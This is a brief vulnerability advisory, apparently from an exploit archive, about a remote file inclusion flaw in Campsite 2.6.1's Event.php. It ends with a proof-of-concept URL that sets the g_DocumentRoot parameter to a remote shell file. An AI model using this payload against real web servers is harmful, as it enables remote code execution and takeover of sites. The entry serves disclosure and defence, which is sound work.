Campsite 2.6.1 - Event.php?g_documentRoot Remote File Inclusion

source: https://www.securityfocus.com/bid/23874/info
             
Campsite is prone to multiple remote file-include vulnerabilities.
             
Exploiting this issue allows remote attackers to execute code in the context of the webserver.
             
This issue affects Campsite 2.6.1. Earlier versions may also be affected.

http://www.example.com/classes/Event.php?g_DocumentRoot=shell.txt?